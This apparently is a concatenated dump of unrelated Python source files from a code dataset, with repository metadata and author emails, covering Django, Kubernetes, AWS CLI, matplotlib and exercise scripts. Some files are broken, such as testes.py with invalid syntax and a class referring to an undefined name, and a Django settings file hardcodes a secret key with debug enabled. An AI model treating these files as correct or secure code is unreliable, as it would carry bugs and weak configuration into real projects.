cv = ShuffleSplit(n_splits=10, test_size=test_size)
# A grid search class over parameters from sklearn.
grid = GridSearchCV(estimator, search_data, cv=cv)
# Fit the model over the parameter grid.
grid.fit(X,y)
# Print the parameter values with the best scores (best predictive accuracy).
print(grid.best_params_)
|
[
"rgerkin@asu.edu"
] |
rgerkin@asu.edu
|
f16542003c0cf3db0d3dbe1c97a817a5d5a4ab12
|
781e2692049e87a4256320c76e82a19be257a05d
|
/all_data/exercism_data/python/anagram/4cea4799f8d04747920f4fa0133e14c2.py
|
3ac7214609467216359f63db380f0fee5c7bb09c
|
[] |
no_license
|
itsolutionscorp/AutoStyle-Clustering
|
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
|
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
|
refs/heads/master
| 2020-12-11T07:27:19.291038
| 2016-03-16T03:18:00
| 2016-03-16T03:18:42
| 59,454,921
| 4
| 0
| null | 2016-05-23T05:40:56
| 2016-05-23T05:40:56
| null |
UTF-8
|
Python
| false
| false
| 256
|
py
|
def is_anagram_of(word, cwrd, swrd):
caps = word.upper()
return cwrd != caps and swrd == sorted(caps)
def detect_anagrams(word, words):
cwrd = word.upper()
swrd = sorted(cwrd)
return list(filter(lambda s: is_anagram_of(s, cwrd, swrd), words))
|
[
"rrc@berkeley.edu"
] |
rrc@berkeley.edu
|
1dcb23d7909b6dd031ad32006240c79be5c1aff9
|
d66aa4c77f65bb837e07626c696b6dc886c7b1c1
|
/base/Chapter-1/Chapter-1-31.py
|
db95b375d7349f4744a25dd67cc200ccb1f9bb5d
|
[] |
no_license
|
silianpan/Excel_to_Python
|
2a789aec0eb38d3178be6dd44205792624d0d4c4
|
1c5890988c99b2939c4d98bb6a881e15d6c3ad7d
|
refs/heads/master
| 2021-07-09T00:25:54.665343
| 2021-05-04T11:25:18
| 2021-05-04T11:25:18
| 242,090,461
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 261
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/5/2 上午9:30
# @Author : silianpan
# @Site :
# @File : py
# @Software: PyCharm
print('{:.2f}'.format(3.1415926)) #返回3.14。
print('{:.2%}'.format(0.1415926)) #返回14.16%。
|
[
"liu.pan@silianpan.cn"
] |
liu.pan@silianpan.cn
|
3f7e43c1e6b0b4badb465fe876338ee60accd0a7
|
91d1a6968b90d9d461e9a2ece12b465486e3ccc2
|
/detective_write_1/invitation_reject.py
|
ce13843a11cb17b879320e1411eaf61fd08d6b0a
|
[] |
no_license
|
lxtxl/aws_cli
|
c31fc994c9a4296d6bac851e680d5adbf7e93481
|
aaf35df1b7509abf5601d3f09ff1fece482facda
|
refs/heads/master
| 2023-02-06T09:00:33.088379
| 2020-12-27T13:38:45
| 2020-12-27T13:38:45
| 318,686,394
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,174
|
py
|
#!/usr/bin/python
# -*- codding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))
from common.execute_command import write_one_parameter
# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/detective/reject-invitation.html
if __name__ == '__main__':
"""
accept-invitation : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/detective/accept-invitation.html
list-invitations : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/detective/list-invitations.html
"""
parameter_display_string = """
# graph-arn : The ARN of the behavior graph to reject the invitation to.
The member accountâs current member status in the behavior graph must be INVITED .
"""
add_option_dict = {}
#######################################################################
# parameter display string
add_option_dict["parameter_display_string"] = parameter_display_string
# ex: add_option_dict["no_value_parameter_list"] = "--single-parameter"
write_one_parameter("detective", "reject-invitation", "graph-arn", add_option_dict)
|
[
"hcseo77@gmail.com"
] |
hcseo77@gmail.com
|
7ad240c7bf533482774d94f1fb2d74b20b186759
|
543286f4fdefe79bd149ff6e103a2ea5049f2cf4
|
/Exercicios&cursos/Minhas_coisas/ex09.py
|
9639c0ea8b41077893e4d94489c1272c84db99b9
|
[] |
no_license
|
antonioleitebr1968/Estudos-e-Projetos-Python
|
fdb0d332cc4f12634b75984bf019ecb314193cc6
|
9c9b20f1c6eabb086b60e3ba1b58132552a84ea6
|
refs/heads/master
| 2022-04-01T20:03:12.906373
| 2020-02-13T16:20:51
| 2020-02-13T16:20:51
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 301
|
py
|
from time import sleep
a = []
def lista(a = []):
for c in range(0, 5):
a.append(int(input(f'{c + 1}º Digite um número: ')))
print(f'lista de números digitados: ', end=' ')
for n in a:
print(f'{n}', end='|')
lista()
sleep(2)
print('\nProximo...')
sleep(2)
lista()
|
[
"progmatheusmorais@gmail.com"
] |
progmatheusmorais@gmail.com
|
9c796ae92d466001acc3155f24e74c72685703fe
|
3cfd135a00bbe03a354ec1e516bca9e224655f46
|
/sdk/python/test/test_v1beta1_when_expression.py
|
28d7521035c39c7023c8a43f8155bb0ad73c848e
|
[
"Apache-2.0"
] |
permissive
|
FogDong/experimental
|
c7fc3a38aeaf9e2dbc9b06390a1c2e764ddda291
|
971004ba2ccfbceec4b677ee745fed7fd9ac6635
|
refs/heads/main
| 2023-04-23T01:49:20.602679
| 2021-05-05T12:36:52
| 2021-05-05T14:11:43
| 367,241,487
| 1
| 0
|
Apache-2.0
| 2021-05-14T03:44:34
| 2021-05-14T03:44:34
| null |
UTF-8
|
Python
| false
| false
| 2,226
|
py
|
# Copyright 2020 The Tekton Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# coding: utf-8
"""
Tekton
Tekton Pipeline # noqa: E501
The version of the OpenAPI document: v0.17.2
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import datetime
import tekton_pipeline
from tekton_pipeline.models.v1beta1_when_expression import V1beta1WhenExpression # noqa: E501
from tekton_pipeline.rest import ApiException
class TestV1beta1WhenExpression(unittest.TestCase):
"""V1beta1WhenExpression unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def make_instance(self, include_optional):
"""Test V1beta1WhenExpression
include_option is a boolean, when False only required
params are included, when True both required and
optional params are included """
# model = tekton_pipeline.models.v1beta1_when_expression.V1beta1WhenExpression() # noqa: E501
if include_optional :
return V1beta1WhenExpression(
input = '0',
operator = '0',
values = [
'0'
],
)
else :
return V1beta1WhenExpression(
input = '0',
operator = '0',
values = [
'0'
],
)
def testV1beta1WhenExpression(self):
"""Test V1beta1WhenExpression"""
inst_req_only = self.make_instance(include_optional=False)
inst_req_and_optional = self.make_instance(include_optional=True)
if __name__ == '__main__':
unittest.main()
|
[
"48335577+tekton-robot@users.noreply.github.com"
] |
48335577+tekton-robot@users.noreply.github.com
|
e6660d23b39c1d5d5b9e794617440f216d3f4f34
|
9743d5fd24822f79c156ad112229e25adb9ed6f6
|
/xai/brain/wordbase/otherforms/_regretted.py
|
89fb7fbc999a393637811f0bbe73809c6f184826
|
[
"MIT"
] |
permissive
|
cash2one/xai
|
de7adad1758f50dd6786bf0111e71a903f039b64
|
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
|
refs/heads/master
| 2021-01-19T12:33:54.964379
| 2017-01-28T02:00:50
| 2017-01-28T02:00:50
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 226
|
py
|
#calss header
class _REGRETTED():
def __init__(self,):
self.name = "REGRETTED"
self.definitions = regret
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.basic = ['regret']
|
[
"xingwang1991@gmail.com"
] |
xingwang1991@gmail.com
|
3a7a2810d740f825a10f529564b84a662467cf35
|
ba1776805c3e4305bb868e1ee6929e4b07751090
|
/backend/task/migrations/0001_initial.py
|
c0b2e884d2b1049f30e47ffb276505a3382fc690
|
[] |
no_license
|
crowdbotics-apps/seton-20675
|
c30edcfae478317a598955d5963c776b28e108b9
|
1318ffdd08cad0bd83b7699e6c6ee73b2737af1d
|
refs/heads/master
| 2022-12-26T11:54:47.261026
| 2020-09-25T15:40:15
| 2020-09-25T15:40:15
| 298,612,394
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,121
|
py
|
# Generated by Django 2.2.16 on 2020-09-25 15:39
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('task_profile', '0001_initial'),
('location', '0001_initial'),
('task_category', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Task',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('details', models.TextField()),
('frequency', models.CharField(max_length=7)),
('size', models.CharField(max_length=6)),
('is_confirmed', models.BooleanField()),
('status', models.CharField(max_length=10)),
('timestamp_created', models.DateTimeField(auto_now_add=True)),
('timestamp_confirmed', models.DateTimeField(blank=True, null=True)),
('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='task_category', to='task_category.Category')),
('customer', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='task_customer', to='task_profile.CustomerProfile')),
('location', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='task_location', to='location.TaskLocation')),
('subcategory', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='task_subcategory', to='task_category.Subcategory')),
('tasker', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='task_tasker', to='task_profile.TaskerProfile')),
],
),
migrations.CreateModel(
name='TaskTransaction',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('status', models.CharField(max_length=10)),
('timestamp_completed', models.DateTimeField(blank=True, null=True)),
('date', models.DateField(blank=True, null=True)),
('timestamp_started', models.DateTimeField(blank=True, null=True)),
('task', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='tasktransaction_task', to='task.Task')),
],
),
migrations.CreateModel(
name='Rating',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('rating', models.FloatField()),
('timestamp_created', models.DateTimeField(auto_now_add=True)),
('review', models.TextField(blank=True, null=True)),
('customer', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='rating_customer', to='task_profile.CustomerProfile')),
('tasker', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='rating_tasker', to='task_profile.TaskerProfile')),
],
),
migrations.CreateModel(
name='Message',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('message', models.TextField()),
('timestamp_created', models.DateTimeField(auto_now_add=True)),
('customer', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='message_customer', to='task_profile.CustomerProfile')),
('task', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='message_task', to='task.Task')),
('tasker', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='message_tasker', to='task_profile.TaskerProfile')),
],
),
]
|
[
"team@crowdbotics.com"
] |
team@crowdbotics.com
|
20d321261341e05d7ce4783500097fb8094b3994
|
905f8aa9c460615e2360b3406bdae1f5f6e10632
|
/Python-Study-Week3/96.py
|
73766925d9b8a08f73fa2d43f38c873bba99c4f9
|
[] |
no_license
|
puze8681/2020-Python-Study
|
a7c9f89310ae29d5b2aa1a1da6dd4524ca78b8fc
|
a79bf1802a2fdbfc0c797979cef7e5530515ac55
|
refs/heads/master
| 2022-11-23T09:53:15.017457
| 2020-08-02T07:49:31
| 2020-08-02T07:49:31
| 278,815,225
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 462
|
py
|
def checkPassword(password):
isLength = False
isUpper = False
isLower = False
isNumber = False
if len(password) > 7:
isLength = True
for c in password:
if c.isupper():
isUpper = True
elif c.islower():
isLower = True
elif c.isdigit():
isNumber = True
print(isLength and isUpper and isLower and isNumber)
checkPassword(input('비밀번호를 입력해주세요. '))
|
[
"puze8681@gmail.com"
] |
puze8681@gmail.com
|
8c5b17c8fb9f1d518e1dfa9747ce3fc857e3fe86
|
14f4d045750f7cf45252838d625b2a761d5dee38
|
/argo/argo/models/io_k8s_api_core_v1_limit_range_spec.py
|
a18f58d2bf450455420374445993aff438273f94
|
[] |
no_license
|
nfillot/argo_client
|
cf8d7413d728edb4623de403e03d119fe3699ee9
|
c8cf80842f9eebbf4569f3d67b9d8eff4ba405fa
|
refs/heads/master
| 2020-07-11T13:06:35.518331
| 2019-08-26T20:54:07
| 2019-08-26T20:54:07
| 204,546,868
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,644
|
py
|
# coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: v1.14.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from argo.models.io_k8s_api_core_v1_limit_range_item import IoK8sApiCoreV1LimitRangeItem # noqa: F401,E501
class IoK8sApiCoreV1LimitRangeSpec(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'limits': 'list[IoK8sApiCoreV1LimitRangeItem]'
}
attribute_map = {
'limits': 'limits'
}
def __init__(self, limits=None): # noqa: E501
"""IoK8sApiCoreV1LimitRangeSpec - a model defined in Swagger""" # noqa: E501
self._limits = None
self.discriminator = None
self.limits = limits
@property
def limits(self):
"""Gets the limits of this IoK8sApiCoreV1LimitRangeSpec. # noqa: E501
Limits is the list of LimitRangeItem objects that are enforced. # noqa: E501
:return: The limits of this IoK8sApiCoreV1LimitRangeSpec. # noqa: E501
:rtype: list[IoK8sApiCoreV1LimitRangeItem]
"""
return self._limits
@limits.setter
def limits(self, limits):
"""Sets the limits of this IoK8sApiCoreV1LimitRangeSpec.
Limits is the list of LimitRangeItem objects that are enforced. # noqa: E501
:param limits: The limits of this IoK8sApiCoreV1LimitRangeSpec. # noqa: E501
:type: list[IoK8sApiCoreV1LimitRangeItem]
"""
if limits is None:
raise ValueError("Invalid value for `limits`, must not be `None`") # noqa: E501
self._limits = limits
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(IoK8sApiCoreV1LimitRangeSpec, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, IoK8sApiCoreV1LimitRangeSpec):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
[
"nfillot@weborama.com"
] |
nfillot@weborama.com
|
b8c96de649bce16d8648e375b09f40d49f46c951
|
7889f7f0532db6a7f81e6f8630e399c90438b2b9
|
/1.2.1/mpl_examples/api/watermark_image.py
|
3d437193a05aab48891107cebb75a25db44afd54
|
[] |
no_license
|
matplotlib/matplotlib.github.com
|
ef5d23a5bf77cb5af675f1a8273d641e410b2560
|
2a60d39490941a524e5385670d488c86083a032c
|
refs/heads/main
| 2023-08-16T18:46:58.934777
| 2023-08-10T05:07:57
| 2023-08-10T05:08:30
| 1,385,150
| 25
| 59
| null | 2023-08-30T15:59:50
| 2011-02-19T03:27:35
| null |
UTF-8
|
Python
| false
| false
| 543
|
py
|
"""
Use a PNG file as a watermark
"""
from __future__ import print_function
import numpy as np
import matplotlib
import matplotlib.cbook as cbook
import matplotlib.image as image
import matplotlib.pyplot as plt
datafile = cbook.get_sample_data('logo2.png', asfileobj=False)
print ('loading %s' % datafile)
im = image.imread(datafile)
im[:,:,-1] = 0.5 # set the alpha channel
fig = plt.figure()
ax = fig.add_subplot(111)
ax.plot(np.random.rand(20), '-o', ms=20, lw=2, alpha=0.7, mfc='orange')
ax.grid()
fig.figimage(im, 10, 10)
plt.show()
|
[
"mdboom@gmail.com"
] |
mdboom@gmail.com
|
f54560be25ee1a1316421a7fb7246bcae0c7b928
|
c46754b9600a12df4f9d7a6320dfc19aa96b1e1d
|
/src/transformers/models/funnel/convert_funnel_original_tf_checkpoint_to_pytorch.py
|
848101f083582bafa26e58c87aaa612502f3f79c
|
[
"Apache-2.0"
] |
permissive
|
huggingface/transformers
|
ccd52a0d7c59e5f13205f32fd96f55743ebc8814
|
4fa0aff21ee083d0197a898cdf17ff476fae2ac3
|
refs/heads/main
| 2023-09-05T19:47:38.981127
| 2023-09-05T19:21:33
| 2023-09-05T19:21:33
| 155,220,641
| 102,193
| 22,284
|
Apache-2.0
| 2023-09-14T20:44:49
| 2018-10-29T13:56:00
|
Python
|
UTF-8
|
Python
| false
| false
| 2,335
|
py
|
# coding=utf-8
# Copyright 2020 The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Convert Funnel checkpoint."""
import argparse
import torch
from transformers import FunnelBaseModel, FunnelConfig, FunnelModel, load_tf_weights_in_funnel
from transformers.utils import logging
logging.set_verbosity_info()
def convert_tf_checkpoint_to_pytorch(tf_checkpoint_path, config_file, pytorch_dump_path, base_model):
# Initialise PyTorch model
config = FunnelConfig.from_json_file(config_file)
print(f"Building PyTorch model from configuration: {config}")
model = FunnelBaseModel(config) if base_model else FunnelModel(config)
# Load weights from tf checkpoint
load_tf_weights_in_funnel(model, config, tf_checkpoint_path)
# Save pytorch-model
print(f"Save PyTorch model to {pytorch_dump_path}")
torch.save(model.state_dict(), pytorch_dump_path)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
# Required parameters
parser.add_argument(
"--tf_checkpoint_path", default=None, type=str, required=True, help="Path to the TensorFlow checkpoint path."
)
parser.add_argument(
"--config_file",
default=None,
type=str,
required=True,
help="The config json file corresponding to the pre-trained model. \nThis specifies the model architecture.",
)
parser.add_argument(
"--pytorch_dump_path", default=None, type=str, required=True, help="Path to the output PyTorch model."
)
parser.add_argument(
"--base_model", action="store_true", help="Whether you want just the base model (no decoder) or not."
)
args = parser.parse_args()
convert_tf_checkpoint_to_pytorch(
args.tf_checkpoint_path, args.config_file, args.pytorch_dump_path, args.base_model
)
|
[
"noreply@github.com"
] |
huggingface.noreply@github.com
|
56b19f05304bab70188096e3ac2eb03470123e18
|
de24f83a5e3768a2638ebcf13cbe717e75740168
|
/moodledata/vpl_data/59/usersdata/159/61693/submittedfiles/testes.py
|
5cfde5c4eb116f499ea4d22d2e9e042e3654972b
|
[] |
no_license
|
rafaelperazzo/programacao-web
|
95643423a35c44613b0f64bed05bd34780fe2436
|
170dd5440afb9ee68a973f3de13a99aa4c735d79
|
refs/heads/master
| 2021-01-12T14:06:25.773146
| 2017-12-22T16:05:45
| 2017-12-22T16:05:45
| 69,566,344
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 899
|
py
|
# -*- coding: utf-8 -*-
def cortel1(a):
for i in range (0,a.shape[0],1):
for j in range (0,a.shape[1],1):
if a[i,j]==1:
return i
def cortel2(a):
for i in range (0,a.shape[0],1):
for j in range (0,a.shape[1],1):
if a[i,j]==1:
l2=i
return l2
def cortec1(a):
for j in range (0,a.shape[1],1):
for i in range (0,a.shape[0],1):
if a[i,j]==1:
return j
def cortec2(a):
for j in range (0,a.shape[1],1):
for i in range (0,a.shape[0],1):
if a[i,j]==1:
c2=j
return c2
n=int(input('N de linhas:'))
m=int(input('N de colunas:'))
a=np.zeros((n,m))
for i in range (0,a.shape[0],1):
for j in range (0,a.shape[1],1):
a[i,j]=int(input('Valor:'))
l1=cortel1(a)
l2=cortel2(a)
c1=cortec1(a)
c2=cortec2(a)
print([l1:l2+1,c1,c2+1])
|
[
"rafael.mota@ufca.edu.br"
] |
rafael.mota@ufca.edu.br
|
3b98c1f8f6ac6c56e19c3aa095b0d314a653e4ae
|
5ac61540ee978a088457257c81d1a297ebc8002f
|
/app/conf/development/settings.py
|
2fce1d09fa31723900fe386680a2b2fde32d26a6
|
[] |
no_license
|
yuis-ice/django-qa
|
4a18732bcad8af04b442a134856b26f0b4bdd833
|
c680c647d788a0bf55b535c8a89ada16e6edba4d
|
refs/heads/main
| 2023-03-24T19:18:23.777044
| 2021-03-22T12:00:23
| 2021-03-22T12:00:23
| 350,327,049
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,284
|
py
|
import os
import warnings
from django.utils.translation import ugettext_lazy as _
from os.path import dirname
warnings.simplefilter('error', DeprecationWarning)
BASE_DIR = dirname(dirname(dirname(dirname(os.path.abspath(__file__)))))
CONTENT_DIR = os.path.join(BASE_DIR, 'content')
SECRET_KEY = 'NhfTvayqggTBPswCXXhWaN69HuglgZIkM'
DEBUG = True
ALLOWED_HOSTS = [
'localhost',
'0.0.0.0',
'127.0.0.1',
'.example.com',
'.ngrok.io'
]
SITE_ID = 1
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'django.contrib.sites',
# Vendor apps
'bootstrap4',
# Application apps
'main',
'accounts',
'django_extensions',
"qaapp.apps.QaappConfig",
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.locale.LocaleMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'app.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
os.path.join(CONTENT_DIR, 'templates'),
],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'app.wsgi.application'
# EMAIL_BACKEND = 'django.core.mail.backends.filebased.EmailBackend'
EMAIL_FILE_PATH = os.path.join(CONTENT_DIR, 'tmp/emails')
# EMAIL_HOST_USER = 'test@example.com'
# DEFAULT_FROM_EMAIL = 'test@example.com'
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
EMAIL_HOST = 'smtp.gmail.com'
EMAIL_USE_TLS = True
EMAIL_PORT = 587
# EMAIL_HOST_PASSWORD = "Qy..."
# EMAIL_HOST_PASSWORD = os.environ("EMAIL_HOST_PASSWORD")
# print os.environ.get('HOME')
EMAIL_HOST_PASSWORD = os.environ["EMAIL_HOST_PASSWORD"]
EMAIL_HOST_USER = 'yuis.twitter+main@gmail.com'
DEFAULT_FROM_EMAIL = 'yuis.twitter+main@gmail.com'
# STRIPE_ENDPOINT_SECRET = os.environ("STRIPE_ENDPOINT_SECRET")
print(
# os.environ["USERNAME"]
# os.environ["EMAIL_HOST_PASSWORD"]
)
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
ENABLE_USER_ACTIVATION = True
DISABLE_USERNAME = False
LOGIN_VIA_EMAIL = True
LOGIN_VIA_EMAIL_OR_USERNAME = False
LOGIN_REDIRECT_URL = 'index'
LOGIN_URL = 'accounts:log_in'
USE_REMEMBER_ME = True
RESTORE_PASSWORD_VIA_EMAIL_OR_USERNAME = False
ENABLE_ACTIVATION_AFTER_EMAIL_CHANGE = True
SIGN_UP_FIELDS = ['username', 'first_name', 'last_name', 'email', 'password1', 'password2']
if DISABLE_USERNAME:
SIGN_UP_FIELDS = ['first_name', 'last_name', 'email', 'password1', 'password2']
MESSAGE_STORAGE = 'django.contrib.messages.storage.cookie.CookieStorage'
USE_I18N = True
USE_L10N = True
LANGUAGE_CODE = 'en'
LANGUAGES = [
('en', _('English')),
('ru', _('Russian')),
('zh-Hans', _('Simplified Chinese')),
]
TIME_ZONE = 'UTC'
USE_TZ = True
STATIC_ROOT = os.path.join(CONTENT_DIR, 'static')
STATIC_URL = '/static/'
MEDIA_ROOT = os.path.join(CONTENT_DIR, 'media')
MEDIA_URL = '/media/'
STATICFILES_DIRS = [
os.path.join(CONTENT_DIR, 'assets'),
]
LOCALE_PATHS = [
os.path.join(CONTENT_DIR, 'locale')
]
|
[
"you@example.com"
] |
you@example.com
|
11b7a83487e395526625f14abb6b3b0ae324ccfb
|
6a856fd7e8714de86d96bba85bc48cd8828fa319
|
/calendar_caldav/__openerp__.py
|
1092f60de3c2ad086942fa3ddb56c930e05a3e0a
|
[] |
no_license
|
gfcapalbo/odoo-calendar
|
5ad35bfaa649e094c7159fa6fbce36ab5d6a4105
|
dd7d1972f62db60f8d8ed620e2137838dd746720
|
refs/heads/master
| 2022-04-23T01:59:48.000726
| 2019-09-30T13:48:49
| 2019-09-30T13:48:49
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,693
|
py
|
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution, third party addon
# Copyright (C) 2004-2016 Vertel AB (<http://vertel.se>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
{
'name': 'Calendar ics-urls',
'version': '0.1',
'category': 'Tools',
'summary': 'Subscription on calendar.ics-urls',
'licence': 'AGPL-3',
'description': """
Adds and updates calendar objects according to an ics-url
""",
'author': 'Vertel AB',
'website': 'http://www.vertel.se',
'depends': ['calendar',],
'external_dependencies': {
'python': ['icalendar', 'urllib2'],
},
'data': [ 'res_partner_view.xml',
#'security/ir.model.access.csv',
'res_partner_data.xml'
],
'application': False,
'installable': True,
'demo': ['calendar_ics_demo.xml',],
}
# vim:expandtab:smartindent:tabstop=4s:softtabstop=4:shiftwidth=4:
|
[
"anders.wallenquist@vertel.se"
] |
anders.wallenquist@vertel.se
|
87dc142a9d447e24e68ae05514e8a4185a6b313f
|
596c229c82d6c4a3edab0bc6f95175767019e431
|
/xtk.py
|
50d4b1305e2b000e1a0baf04247b51165893e2f0
|
[] |
no_license
|
Carl4/xtk-ipython
|
412209f14b370cb8a56aea39b86706d022a3cfc9
|
9d00c018c6de1a50899d178f272a877406801a86
|
refs/heads/master
| 2020-12-24T14:18:25.062025
| 2012-08-09T20:21:13
| 2012-08-09T20:21:13
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,973
|
py
|
"""Display classes for the XTK JavaScript library.
The XTK JavaScript library uses WebGL to render 3D visualizations. It can
generate those visualizations based a range of standard 3D data files types,
including .vtk and .stl. This module makes it possible to render these
visualizations in the IPython Notebook.
A simple example would be::
from IPython.lib.xtkdisplay import Mesh
Mesh('http://x.babymri.org/?skull.vtk', opacity=0.5, magicmode=True)
Authors:
* Brian Granger
"""
#-----------------------------------------------------------------------------
# Copyright (C) 2012 The IPython Development Team
#
# Distributed under the terms of the BSD License. The full license is in
# the file COPYING, distributed as part of this software.
#-----------------------------------------------------------------------------
#-----------------------------------------------------------------------------
# Imports
#-----------------------------------------------------------------------------
import os
from IPython.core.display import Javascript
#-----------------------------------------------------------------------------
# Classes
#-----------------------------------------------------------------------------
code = """
container.show();
var id = 'xtkwidget_' + utils.uuid();
var xtkdiv = $('<div/>').attr('id',id);
xtkdiv.css('background-color','%s').width(%i).height(%i);
element.append(xtkdiv);
var r = new X.renderer3D();
r.container = id;
r.init();
var m = new X.mesh();
m.file = "%s";
m.magicmode = %s;
m.opacity = %f;
r.add(m);
r.render();
"""
class Mesh(object):
"""Display an XTK mesh object using a URL."""
def __init__(self, url, width=400, height=300, magicmode=False, opacity=1.0, bgcolor='#000'):
"""Create an XTK mesh from a URL.
Parameters
==========
url : str
The URL to the data files to render. This can be an absolute URL or one that is
relative to the notebook server ('files/mymesh.vtk').
width : int
The width in pixels of the XTK widget.
height : int
